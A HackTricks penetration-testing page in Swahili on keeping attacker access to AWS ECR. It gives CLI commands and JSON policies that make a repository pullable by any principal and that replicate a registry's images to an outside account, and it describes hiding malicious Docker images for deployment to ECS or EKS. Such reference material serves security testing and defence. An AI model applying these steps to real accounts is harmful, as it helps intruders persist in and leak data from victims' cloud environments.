AWS - ECR Persistence

Support HackTricks

ECR

Kwa maelezo zaidi angalia:

AWS - ECR Enum

Picha ya Docker Iliyofichwa na Nambari Mbaya

Mshambulizi anaweza kupakia picha ya Docker yenye nambari mbaya kwenye hazina ya ECR na kuitumia kudumisha uwepo katika akaunti lengwa ya AWS. Mshambulizi anaweza kisha kupeleka picha mbaya kwa huduma mbalimbali ndani ya akaunti, kama vile Amazon ECS au EKS, kwa njia ya siri.

Sera ya Hazina

Ongeza sera kwenye hazina moja inayokupa wewe (au kila mtu) ufikiaji wa hazina:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Kumbuka kwamba ECR inahitaji watumiaji wawe na ruhusa ya kufanya miito kwa ecr:GetAuthorizationToken API kupitia sera ya IAM kabla ya kuweza kuthibitisha kwenye rejista na kusukuma au kuvuta picha zozote kutoka kwenye hifadhi yoyote ya Amazon ECR.

Sera ya Rejista & Uzalishaji wa Akaunti ya Msalaba

Inawezekana kuzalisha rejista moja kwa moja katika akaunti ya nje kwa kusanidi uzalishaji wa akaunti ya msalaba, ambapo unahitaji kuonyesha akaunti ya nje unayotaka kuzalisha rejista.

Kwanza, unahitaji kutoa akaunti ya nje ufikiaji juu ya rejista kwa sera ya rejista kama:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Kisha tumia usanidi wa replication:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Support HackTricks

Last updated